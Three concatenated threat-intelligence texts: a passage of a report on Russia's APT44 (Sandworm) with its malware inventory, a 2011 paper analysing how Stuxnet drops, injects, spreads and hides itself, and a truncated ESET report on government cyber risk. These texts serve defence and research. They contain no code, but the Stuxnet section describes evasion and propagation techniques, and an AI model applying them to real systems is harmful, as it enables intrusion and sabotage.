flexible instrument of power capable of servicing Russia's wide-ranging national interests and ambitions, including efforts to undermine democratic processes globally. - Due to the group’s history of aggressive use of network attack capabilities across political and military contexts, APT44 presents a persistent, high severity threat to governments and critical infrastructure operators globally where Russian national interests intersect. ## Overview of APT44 APT44 (commonly known as Sandworm, FROZENBARENTS, and Seashell Blizzard) is a Russian Federation backed threat group attributed by multiple governments to Unit 74455, the Main Centre for Special Technologies (GTsST) within the Main Directorate of the General Staff of the Armed Forces of the Russian Federation (GU), commonly known as the Main Intelligence Directorate (GRU). Mandiant has tracked APT44 operations for over a decade, with publicly available images of the unit’s anniversary insignia placing the group’s formation in 2009. While most Russian state-backed threat groups tend to specialize in a specific mission, APT44 is a uniquely dynamic threat actor that is actively engaged in the full spectrum of cyber espionage, attack, and influence operations. These respective components constitute the gamut of special activities typically carried out by the GRU’s Information Operation Troops (VIO), to which we assess APT44 is highly likely subordinated. We therefore view APT44 as a characteristic representation of the information confrontation (IPb) concept that underpins Russia’s present-day cyber forces. ### GRU Structure - Main Intelligence Directorate of the General Staff of the Armed Forces - Unit 55111 - Information Operations Troops (VIO) - Unit 26165 - 85th Main Special Services Center (GTsSS) - Main Center for Special Technologies (GTsST) ### Full Spectrum Operations - **Espionage** - **Attack** - **Influence** ## A Global Targeting Mandate APT44 operations are global in scope and mirror Russia's wide-ranging national interests and ambitions. In the post-Maidan Revolution era, this has led to cyber operations primarily centered on Ukraine, the epicenter of Russia’s revanchist geopolitical aims over the past decade. However, even with an ongoing war, we have observed the group sustain access and espionage operations across North America, Europe, the Middle East, Central Asia, and Latin America. Patterns of activity over time indicate that APT44 is tasked with a range of different strategic priorities and is highly likely seen by the Kremlin as a flexible instrument of power capable of serving both enduring and emerging intelligence requirements. - APT44 primarily targets government, defense, transportation, energy, media, and civil society organizations in Russia’s near abroad. Government bodies and other Critical Infrastructure and Key Resources (CIKR) operators in Poland, Kazakhstan, and within Russia have frequently been included in the group’s recent targeting. - APT44 has repeatedly targeted Western electoral systems and institutions, including those in current and prospective North Atlantic Treaty Organization (NATO) member countries. As part of this activity, APT44 has attempted to interfere with democratic processes in select countries by leaking politically sensitive information and deploying malware to access election systems and misreport election data. - In less discriminate operations, Mandiant continues to observe APT44 conduct widespread credential theft targeting public and private sector mail servers globally. This campaign, which dates back to at least 2019, has targeted various mail environments including Exim, Zimbra, and Exchange servers across a wide range of industry verticals. - APT44 also frequently targets journalists, civil society organizations, and non-governmental bodies involved in research or investigations into the Russian government. Examples include the 2018 operation targeting the Organization for the Prohibition of Chemical Weapons (OPCW) for its role in the Novichok poisoning investigations and a phishing campaign by an assessed APT44 initial access cluster between December 2023 and January 2024 which targeted Bellingcat and other investigative journalism entities. ## A Highly Adaptive Adversary APT44 is a persistent and operationally mature adversary that uses diverse initial access methods ranging from common vectors such as phishing, credential harvesting, and known vulnerability exploitation to targeted supply chain compromises. The group commonly leverages nonselective initial access vectors that provide wide-ranging access to targets of interest, later down-selecting victims of interest for the full spectrum of follow-on activity. - APT44 frequently achieves initial access through the exploitation of edge infrastructure such as routers and virtual private network (VPN) appliances. We have observed the group fulfill a variety of missions from footholds gained on network perimeters, including reconnaissance, information theft, downstream phishing, and the deployment of wiper malware. - Following in the footsteps of ETERNALPETYA (aka NotPetya), APT44 also continues to subvert software supply chains for initial access. In one recent case, access to a software developer resulted in the downstream compromise of critical infrastructure networks in Eastern Europe and Central Asia, followed by the deployment of wiper malware to a select victim organization. - APT44 is also known to employ unconventional methods to compromise targets of interest. As of February 2024, the group continues to leverage trojanized software installers distributed via torrents on Ukrainian- and Russian-language forums as a means of achieving opportunistic initial access to potential targets of interest. Once downloaded, victims of interest are manually flagged by APT44 operators with specifics such as the victim organizations or unit names, designating them for follow-on exploitation. We have seen these victims receive payloads such as DARKCRYSTALRAT (or DCRAT), commodity malware that APT44 has also used to target telecommunications entities in Ukraine. Once inside a network, APT44 commonly uses living-off-the-land (LOTL) techniques to further its access, establish persistence, and exfiltrate information. The group is also known for its “low-equity” approach to malware delivery that prioritizes open source or criminally sourced tools over using its own custom implants. - APT44 operates with a high degree of operational security and continuously adapts to circumvent best-practice defensive principles. To achieve this outcome, we have seen the group generally adhere to a playbook designed to help scale its operations, limit forensic evidence in victim environments, and make post-exploitation activity hard to detect. - Once inside a network, APT44 is highly judicious about deploying its most advanced, and likely most costly to develop, tools. When custom malware is needed, APT44 typically deploys lightweight tools that are expendable and do not pose any significant attrition to the group’s overall capabilities when used or exposed. - APT44 almost certainly relies on a diverse set of Russian companies and criminal marketplaces to source and sustain its more frequently operated offensive capabilities. ## Moscow’s Primary Cyber Sabotage Unit Over the past decade, APT44 has established itself as Russia’s preeminent cyber sabotage unit. As an arm of Russia’s military, it has been responsible for the majority of the GRU’s cyber-enabled sabotage in Ukraine stretching back to the initial invasion of the country in 2014. However, APT44’s attack operations are not limited to military objectives and also span Russia’s wider national interests, such as the Kremlin’s political signaling efforts, responses to crises, or intended non-escalatory responses to perceived slights to Moscow’s stature in the world. - Since Russia’s re-invasion of Ukraine in February 2022, APT44 has been responsible for almost all of the disruptive and destructive cyber attacks against Ukrainian CIKRs that Mandiant has responded to. We assess with high confidence it is the primary cyber attack unit both within the GRU and across all Russian state-sponsored cyber units. - Since at least 2015, APT44 has operated and advanced a set of attack capabilities intended to disrupt industrial control and safety systems with the potential to cause significant physical damage. Since Russia’s reinvasion, further advancements in APT44’s cyber-physical attack capabilities have been observed, including a new variant of Industroyer and Operational Technology (OT)-specific living-off-the-land attack capabilities abusing a native MicroSCADA binary. While operations to date have primarily targeted Ukraine’s energy grid, the underlying technologies exploited hold the potential to impact a wider range of sectors including railways, seaports, airports, and hospitals. - APT44 has also periodically engaged in cyber sabotage operations intended to signal bilateral displeasure, retaliate for political grievances, or otherwise signal the weight of the threat posed by Russia’s cyber program. ## APT44’s Wartime Cyber Operations APT44 has aggressively pursued a multi-pronged effort to help the Russian military gain a wartime advantage with its cyber operations. Of the Russian government-backed cyber groups that we have tracked contributing to Russia’s military campaign in Ukraine, APT44 has and continues to play the most central role, seeking to advance Moscow’s war aims in multiple distinct ways. The group’s operational focus and methods have adapted significantly in the second year of the war to support Russia’s evolving theory of victory, with increasing emphasis placed on military-relevant targets and tactical intelligence collection. - **Disruptive Operations:** APT44 is responsible for an intensive campaign of cyber disruptions stretching from invasion day in February 2022 to present. The group has aggressively deployed wiper malware against a mix of civilian and military targets, and has attempted to make the effects of the war felt beyond the front lines in the day-to-day lives of Ukrainians. - **Military Enablement:** APT44 has also increasingly conducted espionage likely intended to enable Russian conventional military operations. These operations appear to focus on mobile networks, devices, applications, and other technologies that could help to intercept communications and gain tactical and operational battlefield advantages. - **Information Operations:** APT44 has used front personas embedded in the pro-Russian Telegram ecosystem to attempt to shape the information environment and draw attention to the alleged “impact” of select cyber operations. ## APT44 Disruptive Tooling - SOURGRAPES - BLACKENERGY - INDUSTROYER - ETERNALPETYA - VPNFILTER - INDUSTROYER.V2 ## Disruptive Operations Against Ukrainian Critical Infrastructure Mandiant has tracked an intensive campaign of cyber attacks against Ukrainian entities by APT44 that reflect its primary mandate. These disruptive cyber operations have surpassed the scale, scope, and intensity of the group’s operations conducted in the war’s eight prior years, and have incorporated a wide arsenal of different disruptive or destructive malware families. - APT44’s disruptive activities have occurred in punctuated phases, mirroring the main stages of the war. Gaps between waves of disruptive activity have likely provided necessary windows to retool and replenish access to operationally relevant targets. - Targets of APT44’s disruptive activity have primarily been government networks and critical infrastructure operators, with an emphasis on Ukraine’s energy sector. We continue to see malware delivery operations seeking access to energy sector targets from a subcluster of APT44 activity tracked by CERT-UA as UAC-0099. - We assess with high confidence that, in specific operations, APT44 has coordinated the timing of these cyber attacks with conventional military activity, such as kinetic strikes or other forms of sabotage, in order to achieve joint military objectives in Ukraine. This repeated pattern of activity indicates either unity of command or operational coordination with other elements of Russia’s military. ## Takeaways APT44 continues to present one of the widest and high severity cyber threats globally. It has been at the forefront of the threat landscape for over a decade and is responsible for a long list of firsts that have set precedents for future cyber attack activity. The combination of APT44's high capability, risk tolerance, and far-reaching mandate to support Russia’s foreign policy interests places governments, civil society, and CIKR operators around the world at risk of falling into the group's sights on short notice. Patterns of historical activity, such as efforts to influence elections or retaliate against international sporting bodies, suggest there is no limit to the nationalist impulses that may fuel the group’s operations in the future. Despite its bias for action and emphasis on psychological effect, APT44 has shown itself to be patient, resourceful, and able to remain undetected for long periods of time in victim environments. The group’s playbook is almost certainly tailored to carry out intrusions undetected, and its use of both open source and criminally-sourced malware can often result in activity being disregarded as a commodity threat. Organizations at high risk of being targeted by APT44 should prioritize detections of LOTL techniques and carefully investigate instances of commercially available malware as potential APT44 activity. Responses to APT44 should also consider the group’s sensitivity to counterintelligence risk. This is an actor that is highly aware of incident response and detection efforts, and, in certain cases, mitigation efforts may drive an intrusion toward disruptive activity. As Russia’s war continues, we anticipate Ukraine will remain the principal focus of APT44 operations. However, as history indicates, the group’s readiness to conduct cyber operations in furtherance of the Kremlin’s wider strategic objectives globally is ingrained in its mandate. We assess that changing Western political dynamics, future elections, and emerging issues in Russia’s near abroad will continue to shape APT44’s operations for the foreseeable future. ## Protecting The Community As part of our efforts to combat serious threat actors, TAG uses the results of our research to improve the safety and security of Google’s products. Upon discovery, all identified websites and domains are added to Safe Browsing to protect users from further exploitation. TAG also sends all targeted Gmail and Workspace users government-backed attacker alerts notifying them of the activity and encourages potential targets to enable Enhanced Safe Browsing for Chrome and ensure that all devices are updated. Where possible, Mandiant sends victim notifications via the Victim Notification Program. To protect high-risk user accounts, we offer the Advanced Protection Program (APP), which is our highest form of account security and has a strong track record protecting users. If you are a Google Chronicle Enterprise + customer, Chronicle rules were released to your Emerging Threats rule pack, and IOCs listed in this report are available for prioritization with Applied Threat Intelligence. We are committed to sharing our findings with the security community to raise awareness, and with companies and individuals that might have been targeted by these activities. We hope that improved understanding of tactics and techniques will enhance threat hunting capabilities and lead to stronger user protections across the industry. ## Technical Annex ### APT44 Indicators of Compromise For IOCs, please see our VT Collection. ### Malware This section includes malware Mandiant observed APT44 using since 2018, with the exception of ETERNALPETYA (aka NotPetya), which was deployed by APT44 in 2017. We have split this section into three: custom malware unique to APT44, malware that is publicly or commercially available but modified and customized by APT44, and publicly or commercially available malware used by APT44. #### Custom Malware - **ARGUEPATCH**: Launcher - **AXETERROR**: Backdoor - **BACKORDER**: Downloader - **CADDY WIPER**: Wiper - **COLDWELL**: Dropper - **EARLYBLOOM**: Backdoor - **EXARAMEL**: Backdoor - **FACEFISH**: Dropper - **FAIRROOT**: Dropper - **FELIXROOT**: Backdoor - **FIZZLESHELL**: Webshell - **FREE TOW**: Memory-Only Dropper - **GOGETTER**: Tunneler - **ICYWELL**: Backdoor - **ILLICITORDER**: Dropper - **INDUSTROYER**: Malware Framework - **ITCHYSPARK**: Utility - **JUNKMAIL**: Wiper - **LUCKYPIE**: Launcher - **NEARMISS**: Wiper - **NEARMISS**: Wiper - **NIKOWIPER**: Wiper - **NIKOWIPER.MBR**: Wiper - **PARTYTICKET**: Wiper - **PENNYBAG**: Dropper - **PRESSTE A**: Ransomware - **QUICKTOW**: Backdoor - **ROARBAT**: Wiper - **SOURGRAPES**: Disruptive Malware #### Modified Publicly or Commercially Available Malware - **BLACKENERGY**: Backdoor - **HEXCHAMBER**: Builder - **ETERNALPETYA**: Wiper - **POWERDISCO**: Utility - **TANKTRAP**: Utility - **WILDDIME**: Backdoor #### Publicly or Commercially Available Malware - **BEACON**: Backdoor - **COLIBRI**: Downloader - **DARKCRYSTALRAT**: Backdoor - **EMPIRE**: Framework - **METERPRETER**: Backdoor - **PIVOTNACCI**: Tunneler - **POSHC2**: Framework - **PWNKIT**: Exploit - **RADIANT**: Infostealer - **REGEORG**: Tunneler - **STOWAWAY**: Backdoor - **WARZONE**: Backdoor - **WEEVELY**: Webshell - **WMIEXEC**: Backdoor - **WSO**: Webshell ### APT44 Related Hunting Rules - **BACKORDER**: Rule designed to detect events related to BACKORDER. - **NIKOWIPER**: Detects code in NIKOWIPER. - **NIKOWIPER.MBR**: Detects code in NIKOWIPER.MBR. - **REGEORG**: Finds a function that does a character substitution. - **REGEORG**: Finds PowerShell one-liners typically used in webshells to decode an HTTP header variable and use it as a command. - **REGEORG**: Generic tunneler detection rule.
# Stuxnet Malware Analysis Paper **Amr Thabet** September 6, 2011 This article will focus on Stuxnet’s Windows infection methods and spreading methods. The tricks used by Stuxnet and the evidence behind the criminals of Stuxnet. ## 1. Introduction Stuxnet is not only a new virus or worm but a new era of malware. This virus changed the meaning of malware and its goals. You hear about a virus annoying people or stealing bank or credit card information, but this is the first time you hear about a virus damaging buildings, destroying machines, or killing people, and that's Stuxnet. Stuxnet has gained a lot of attention from malware researchers and the media in the last year. It was created to sabotage Iran's nuclear program. This complex threat uses up to four zero-day vulnerabilities in Windows OS and includes many tricks to avoid being detected by behavioral-blocking antivirus programs. It damaged the Iranian nuclear reactor and its machines by infecting the PLCs (Programmable Logic Controllers) that control the machines there, modifying the control program, which changes the behavior of the machine. Here we will talk about the technical details of Stuxnet and the experience I gained from analyzing this malware. We will discuss how Stuxnet works and its life cycle, but we will not cover SCADA systems and how Stuxnet infects them, and we will touch on the vulnerabilities used by Stuxnet. ## 2. Payload This worm was created mainly to sabotage the Iranian Nuclear Program. Once installed on a PC, Stuxnet uses Siemens' default passwords to gain access to the systems that run the WinCC and PCS 7 programs, which control and modify the code of the PLCs. Stuxnet operates in two stages after infection, according to Symantec Security Response Supervisor Liam O'Murchu. First, it uploads configuration information about the Siemens system to a command-and-control server. Then the attackers can pick a target and actually reprogram the way it works. "They decide how they want the PLCs to work for them, and then they send code to the infected machines that will change how the PLCs work," O'Murchu said. It managed to infect facilities tied to Iran's controversial nuclear program before reprogramming control systems to spin up high-speed centrifuges and slow them down. ## 3. Suspects Israel is an obvious suspect. Israel considers a nuclear Iran to be a direct existential threat. However, until now, there's no real evidence that Israel created this worm. Some theories suggest there is evidence pointing to Israel as the creator based on dates and words found inside the malware, and an analysis from the industrial control-systems maker Siemens reportedly backs speculation that Iran may have been the target of Stuxnet's attack and that Israel may have been involved. A report by the New York Times suggested Stuxnet was a joint US-Israeli operation that was tested by Israel on industrial control systems at the Dimona nuclear complex during 2008 prior to its release a year later, around June 2009. The worm wasn't detected by anyone until a year later, suggesting that for all its possible shortcomings, the worm was effective at escaping detection on compromised systems. But these evidences aren't real evidences in court, and the worm's still a perfect crime. ## 4. Technical Details ### 4.1. Stuxnet Life Cycle This is the life cycle of the Stuxnet virus on Windows OS. We will describe every step in this cycle beginning with the WTR4132.TMP file, which is the main dropper of the Stuxnet worm. ### 4.2. Main Dropper (~WTR4132.TMP) This file is a dynamic link library file loaded into Explorer.exe. It begins execution by searching for a section in it named ".stub". This section contains the main Stuxnet DLL file, which includes all Stuxnet's functions, mechanisms, files, and rootkits. This section also includes the configuration data of Stuxnet, which is crucial for the spreading mechanism, updating mechanism, and many other things. After finding this section, it loads the Stuxnet DLL file in a special way. First, it allocates a memory buffer for the DLL file to be loaded. Then, it patches six ntdll.dll APIs with these names: 1. ZwMapViewOfSection 2. ZwCreateSection 3. ZwOpenFile 4. ZwClose 5. ZwQueryAttributesFile 6. ZwQuerySection These patches make LoadLibraryA load a DLL file not from the hard disk (as usual) but from a place in memory. It calls LoadLibraryA with the DLLName like KERNEL32.DLL.ASLR.XXXX to load the Main DLL File and at the end, it calls Function #15 in the Main Stuxnet DLL. ### 4.3. Main Stuxnet DLL #### 4.3.1. Escalating the Privileges and Injecting Into a New Process When the main DLL begins execution, it unpacks itself and checks the configuration data of this Stuxnet sample and the environment to decide if it will continue or exit. It checks if the configuration data is correct and recent and then checks for admin rights. If it's not running at the administrator level, it uses one of two zero-day vulnerabilities to escalate privileges and run at the administrator level. - CVE-2010-2743 (MS-10-073) - Win32K.sys Keyboard Layout Vulnerability - CVE-xxxx-xxxx (MS-xx-xxx) - Windows Task Scheduler Vulnerability These vulnerabilities allow the worm to escalate privileges and run in a new process (csrss.exe in the case of Win32K.sys) or as a new task in the Task Scheduler. It also performs other checks, such as checking for 64-bit or 32-bit systems. After everything is prepared, it injects itself into another process to install itself from that process. The injection begins by searching for an antivirus application installed on the machine. Depending on the antivirus application (AVP or McAfee, etc.), Stuxnet chooses the process to inject itself into. If there's no antivirus program, it chooses "lsass.exe". ### 4.4. Spreading Mechanism #### 4.4.1. The USB Drives Infection For infecting USB flash memory, Stuxnet creates a new hidden window and gets notified of any new USB flash memory inserted into the computer by waiting for the "WM_DEVICECHANGE" Windows Message. After getting notified of a new drive added to the computer, Stuxnet writes six files into the flash memory drive: - Copy of Shortcut to.lnk - Copy of Copy of Shortcut to.lnk - Copy of Copy of Copy of Shortcut to.lnk - Copy of Copy of Copy of Copy of Shortcut to.lnk - ~WTR4141.tmp - ~WTR4132.tmp These malformed shortcut files exploit a vulnerability in Windows Shell (CVE-2010-2568) that allows Stuxnet to execute its code when the shortcut is opened. #### 4.4.2. Spreading via Network Stuxnet spreads via network using vulnerabilities: - CVE-2008-4250 (MS-08-067) - Windows Server Service NetPathCanonicalize() Vulnerability - CVE-2010-2729 (MS-10-061) - Windows Print Spooler Service Vulnerability The first vulnerability allows Stuxnet to look for C$ and Admin$ shares on remote systems, copying itself as a file named "DEFRAGxxxxx.TMP" in the first writable directory found on the share. The second vulnerability allows a guest user account to communicate with a machine with a shared printer and write a file to the system directory. ### 4.5. Updating Mechanism Stuxnet updates itself via the Internet by establishing an HTTP connection to two malformed websites. It sends encrypted data containing information about the infected machine and receives a newer version of Stuxnet in an encrypted form. ### 4.6. Rootkits #### 4.6.1. User-Mode Rootkit (~WTR4141.TMP) This file is a DLL file loaded by the LNK vulnerability. It not only loads the main Stuxnet dropper but also works as a user-mode rootkit to hide Stuxnet files in the flash memory. #### 4.6.2. Kernel-Mode Rootkit (MRxNet) MRxNet is a simple filesystem filter created to hide the files created in the USB flash memory. It modifies the output of the drivers to hide Stuxnet files. ### 4.7. Loading Mechanism #### 4.7.1. ~WTR4141.TMP This file is loaded by the LNK vulnerability and loads the main Stuxnet dropper. #### 4.7.2. MRxCls Loader Driver MrxCls is a complex project that includes many features to load a program secretly without the attention of any antivirus application. It takes parameters from the registry and uses them to inject Stuxnet files into system processes. ## 5. Conclusion Stuxnet has captured media attention due to its complexity, political goals, and the criminals behind it. It is the most sophisticated worm ever seen in public, containing four zero-day vulnerabilities and three rootkits. This worm changes the meaning of malware and creates a new era for malware researchers. ## 6. References 1. "W32.Stuxnet Dossier" by Symantec 2. "Stuxnet Under the Microscope" by ESET 3. "The MRXCLS.SYS Malware Loader" at geoffchappell.com **License** This article, along with any associated source code and files, is licensed under The Code Project Open License (CPOL).
# ESET Industry Report on Government: Targeted but Not Alone ## APT Groups, Cybercriminals and the Need for Resilient IT Security for Government ### Introduction Despite the pitfalls in making predictions during a pandemic, we can be confident cyber-risks for government bodies will continue to grow, evolve, and require even greater focus and resources to mitigate. Government, like industry, is facing the fact that its productivity tools are being turned against its interests and its ability to protect and provide essential services, ensure economic stability, and even maintain cultural and societal cohesion. ### The Path to “Digital by Default” Of course, these heightened risks come at a time when government bodies and businesses are still navigating a course through the coronavirus pandemic, adding to what is already a complex operating environment for those responsible for IT infrastructure and security. While there are differences between the functions of different government bodies, the overall trend is that the attack surface is expanding. This is reinforced by the fact that government bodies are edging toward digital services that are so straightforward and convenient that all those who can use them will choose to do so. These elements include further rollout of citizen-facing systems, moving to the cloud, increasing use of third-party suppliers and service providers, and rapid onboarding of many users due to home or hybrid work becoming part of the new operating model. Being implemented at pace, these elements add to the challenge of maintaining system resilience in the face of sustained and evolving threats from advanced persistent threat (APT) groups and cybercriminals. Throw in keeping an eye on the regulatory scene and operating within tight budgets, and there is certainly plenty to keep a CISO awake at night. ### COVID-19 Coronavirus lockdowns and the subsequent surge of employees accessing both company and institutional data, as well as IT infrastructure, from home did little to dampen the interests of cybercriminal gangs and nation-state actors. Indeed, both groups exploited this tumultuous period to pursue their respective goals, often with increased intensity and persistence. For example, during the pandemic, RDP attack attempts in particular increased by 768% between Q1 and Q4 2020. Other threats detected by ESET specifically leveraging COVID-19 as a topic of interest include the mimicking of government services; for example, a “Canadian Government” contact tracing app. Amid COVID-19 lockdowns, steady servings of phishing with “official Colombian Government” email correspondence and watering hole attacks on Southeast Asian governments courtesy of OceanLotus, among others, have seen the interface between government and its citizens under assault. With pressure already on governments to mitigate health impacts from COVID-19, reports abound of cyberattacks affecting service delivery to citizens, data theft, or the compromise of strategic national infrastructure. Some of the most prominent of late include the SolarWinds Orion hack, the Microsoft Exchange exploitation, attacks on organizations unrelated to those contexts, and increased attacks on schools, universities, and education IT platforms. ### Cyberespionage The traditional nemeses of government bodies are believed to be state actors looking to steal sensitive data and increasingly seeking to embarrass, undermine, and disrupt in order to secure their political and economic objectives. Such contests between states regularly happen in the gray zone where they can engage each other under the premise of plausible deniability. Now within this traditional cyber-sport, we see in the economic sphere—a constant high-priority target—a significant uptick in pursuit of purloining intellectual property, including the targeting of vaccine developers and their supply chains. These activities brush up against, if not outright crash into, governments’ ability to protect and provide services to citizens. With the attackers seeking to steal data or influence events in the real world, the gamut of the public sector, from national to local, should now adapt its posture to factor in targeting by these state actors—not merely as targets of criminal groups or lone hackers. State actor activity is increasing, yet there will be some bodies who think they would be unlikely targets of these actors. Unfortunately, all too often—given interconnectivity—state vs. state contests in one area of the globe have inadvertently affected systems in countries and organizations unrelated to those contexts. ### Ransomware: Innovation and Steady Pressure In the strata where state-sponsored actors blend with APT groups more criminal in nature, we can view the shift toward targeted ransomware attacks as an indicator of growing concern to government bodies and the businesses that they engage with. In addition, the phenomenon of several criminal groups working in cooperation to gain entry, steal or encrypt data, arrange payment, and launder the proceeds stands as a clear worry. ESET’s October 2020 collaboration with Microsoft, NTT Ltd, and multiple law enforcement agencies to disrupt Trickbot botnets revealed complex activity that included operators moving from attempting to steal money from bank accounts to compromising whole organizations with Trickbot and then using it to execute Ryuk to demand a ransom to unlock the affected systems. ### Supply-Chain Attacks Scaling Rapidly Supply-chain disruption, whether by accident or by design, can be traced to antiquity, as can its protection or improved resilience. However, digitization and the collaborative benefits derived from third-party providers have in turn increased the risk of supply-chain attacks. The DiskCoder.C (aka NotPetya) attack in 2017 demonstrated this well, when the regionally popular M.E.Doc accounting software used by a number of businesses and their partners along a supply chain was weaponized to disrupt users’ businesses. However, collateral damage—anticipated or not—impacted major global businesses, ironically many involved in logistics serving the world’s physical supply chains. Fast-forward three years, and instead of weaponized accounting software, we’ve encountered a very large persistence campaign in the SolarWinds Orion hack. The attack impacted thousands of users across that platform and opened up the potential for widespread criminal and APT group activity across the board. ESET researchers have uncovered several other supply-chain attacks over the past several months, from the Lazarus group using hacked security add-ons, to Operation Stealthy Trident attacking region-specific chat software for businesses, Operation SignSight, used to compromise a government certificate authority, to Operation NightScout, a hacked Android emulator. ### Targeted but Not Alone In the current dynamic security environment, it is more important than ever not to overestimate your cybersecurity capability. Cyber-risk is increasing, not decreasing. Regular reviews, testing, and attack scenario exercises are increasingly essential to help you fend off attacks and quickly contain incidents. Due to the skills and tools available to state-backed actors, risks born of being targeted or from collateral damage now require complex multi-layered defenses, active monitoring, up-to-date threat intelligence, and an ever more educated security team. Expanding your understanding of the ever-evolving threats will help you not only to better protect your own systems but also to better inform your stakeholders, businesses, and citizens who look to government bodies for guidance. In a year of much disruption and sadness, one of the positive trends in cybersecurity, as much as in the fight against coronavirus, is the emergence and importance of a strong partnership between government and the private sector to tackle these challenges. ESET welcomes this and looks forward to working with its government partners to better secure a safer digital world. ## APT Attacks in Europe: A Growing Menace to Government Do the past half year’s attention-grabbing attacks conducted by APT groups signal business as usual, or an emerging trend in supply-chain attacks? In the past six months, a rash of notable advanced persistent threat (APT) attacks have been revealed, targeting countries across the European continent, from France to Eastern Europe and the Balkans, and across verticals, from government and military entities to private companies. An example of APT activity discovered by ESET is a new version of Crutch, a previously undocumented backdoor and document stealer belonging to the infamous Turla APT group. ESET researchers saw Crutch in the network of a ministry of foreign affairs in a European Union country. Another discovery was activity by Gamaredon, an adversary group known for its relentless targeting of governmental organizations in Ukraine – which updated its malware arsenal through 2020. In the following text, we’ll take a closer look at two other examples: XDSpy, an APT group that managed to stay under the radar for nine years, and Sandworm, which is one of the most dangerous APT groups in operation. We’ll also discuss the role supply-chain attacks play in the arsenals of various threat actors, a subject that has been grabbing even more attention than usual since the SolarWinds hack made international headlines. ### XDSpy – Stealing Government Secrets Since 2011 Probably the most interesting characteristic of the XDSpy APT group is that it went largely unnoticed for nine years. This espionage group has been active since 2011, and its activities were undocumented until an advisory from the Belarusian CERT in February 2020. Over the years, the group compromised many government entities, including militaries, Ministries of Foreign Affairs, and private companies in Eastern Europe and the Balkans. According to ESET telemetry, the targets of XDSpy were located in Belarus, Moldova, Russia, Serbia, and Ukraine. In terms of functionality and architecture, XDSpy uses a typical cyberespionage toolset consisting of a main downloader module that downloads additional plugins to carry out the desired actions. During our research, we discovered plugins used for exfiltrating files from the main C: drive or from external drives, taking screenshots, and extracting saved passwords from various applications, such as web browsers and email programs. One of the plugins, called XDLoc, is used to gather nearby SSIDs (Wi-Fi access point names), most likely to geo-locate victimized machines. XDSpy operators use spearphishing emails in order to compromise their targets. The emails display a slight variance, as some contain an attachment, while others contain a link to a malicious file. The first layer of the malicious file or attachment is generally a ZIP or RAR archive. At the end of June 2020, the operators stepped up their game by using a vulnerability in Internet Explorer, CVE-2020-0968. ### Exaramel Backdoor in France: Another Sandworm Supply-Chain Attack? When it comes to the notorious Sandworm APT group, certainly, the most significant news in the past six months was the US Department of Justice indictment of six Russian GRU officers for their alleged roles in the group’s many attacks. Aside from the geopolitical aspect, defenders should be aware that, even though Sandworm’s most infamous attacks were dated between 2015 (the first Ukrainian power grid attacks) and 2018 (Olympic Destroyer), this dangerous group is still very much active in 2021. In February 2021, France’s national information security agency ANSSI released a report revealing an intrusion campaign targeting the Centreon IT monitoring software, which resulted in the breach of a number of French organizations. The campaign lasted from 2017 until 2020 and affected mostly IT providers, especially web hosting providers. Two backdoors were discovered on compromised systems: the P.A.S. webshell and (much more interestingly) the Exaramel backdoor. Exaramel is the work of Sandworm (more specifically, a subgroup that ESET tracks as TeleBots) and was the piece of evidence that allowed us to attribute the infamous Industroyer to the same APT group, based on code similarities. With the recent SolarWinds hack in mind, and the fact that Sandworm is known for conducting supply-chain attacks in the past—remember the M.E.Doc compromise leading to the NotPetya outbreak?—the cybersecurity industry was immediately curious about details of the Centreon compromise. According to Centreon, the compromise was not the result of a supply-chain attack. Instead, the campaign exploited installations of out-of-date versions of its IT monitoring software, not the company itself. The fact that this was not a supply-chain attack is a positive finding, as finding otherwise would indicate a serious compromise with potentially far-reaching consequences. However, another fact still remains true: organizations have been using vulnerable versions of Centreon IT monitoring software, and attackers have taken advantage of that in order to compromise them. ### Future Outlook The past six months have shown that it’s business as usual for APT groups—including highly sophisticated ones like Sandworm, less erudite (but still capable of staying under the radar) ones like XDSpy, and everything in between. Supply-chain attacks, while not all as earthshaking as the SolarWinds hack (or other occurrences, such as the recent Centreon case, that smell like supply-chain attacks), are expected to grow in the near future, both in Europe and globally. For that reason, keep in mind the following recommendations to reduce the risks that stem from vulnerable software supply chains: - Know your software—keep an inventory of all open-source and proprietary off-the-shelf tools used by your organization. - Keep an eye out for known vulnerabilities and apply patches as soon as they are available; indeed, attacks involving tainted updates should by no means discourage anybody from updating their software. - Stay alert for breaches impacting third-party software vendors. - Drop redundant or outdated systems, services, and protocols. - Assess your suppliers’ risks by developing an understanding of their security processes. - Set security requirements for your software suppliers. - Request regular code audits and inquire about security checks and change control procedures for code components. - Inquire about penetration tests to identify potential hazards. - Request access controls and two-factor authentication (2FA) to safeguard software development processes and build pipelines. - Run security software with multiple layers of protection. ## IT Security and Government: Parallels Between Targeted Institutions To be CISO of a cybersecurity company is to be in a unique position. And, while there is inherent benefit in working with a board that intrinsically understands the technical aspects of security, cybersecurity companies are no less a target (indeed, they could be a prize) for cybercriminals. This second point, knowing we are a target, is where I believe our experience most strongly intersects with that of government organizations. This key point has remained constant over my 10 years as CISO at ESET and is a main driver in evolving our security posture to meet the ever-changing demands of the online environment. The reality of our status as a target also has strong relevance to our company’s security culture, growth, and business model. Governments face a similar challenge. They are clear targets, their adversaries will not be readily eliminated, and mitigation of the worst symptoms of the tactics and techniques found on the threat landscape dictate everything from security policy and resource allocation to culture and strategic growth. Questions about how to evolve can be answered both from the point of view of ESET and from that of the wider information security world. Since I am more intimately acquainted with ESET, it is far easier to address the “how” from that perspective. ESET is a company whose business has grown quite dramatically during my tenure. On the other hand, it is a close-knit community in which a lot of activities needed standardization and a proper governance framework in order to streamline internal processes, communication, and the exchange of information. In particular, standardization and governance at ESET supported us in shifting focus from protecting primarily consumer and SMB clients toward enabling significant growth in the enterprise segment. It is this pursuit that has added new pressure to document information security, comply with distinct directives and regulations, and enhance our capabilities to address enterprise customers’ questions and reservations when implementing security solutions in their environments. Categorically, all governments are facing rapid demand to digitize services, improve internal processes—and to formalize both through improved governance. Similar to the ESET experience, the journey involved with formalization of processes (and culture) via governance reflects maturity and ambition to reach new markets; in the case of governments—improved growth, better service provision, and national or local cohesion. ### Implications of Maturation Of course, the challenges around governance were being faced well before we reached our current level of maturity—and with growth of the company, they have only become more complex. As such, deploying security controls in a complex IT environment requires more time and more resources than before. Therefore, our internal security section grew significantly and now consists of multiple teams focusing on various aspects of security. Suffice to say that the internal security division needs to be very well prepared, as presentations to management can quickly morph into technical deep dives. The last time we had this type of deep dive, it was related to our vulnerability management tool’s risk score parameter and the formula behind it so that management could understand whether it was suitable for reporting. This included a debate on how the presence of an exploit in malware kits can raise the risk score above traditional CVSS scores. Whether it was 12 years ago when I joined the co-founders in discussing our security policies or today, going deep remains a cultural 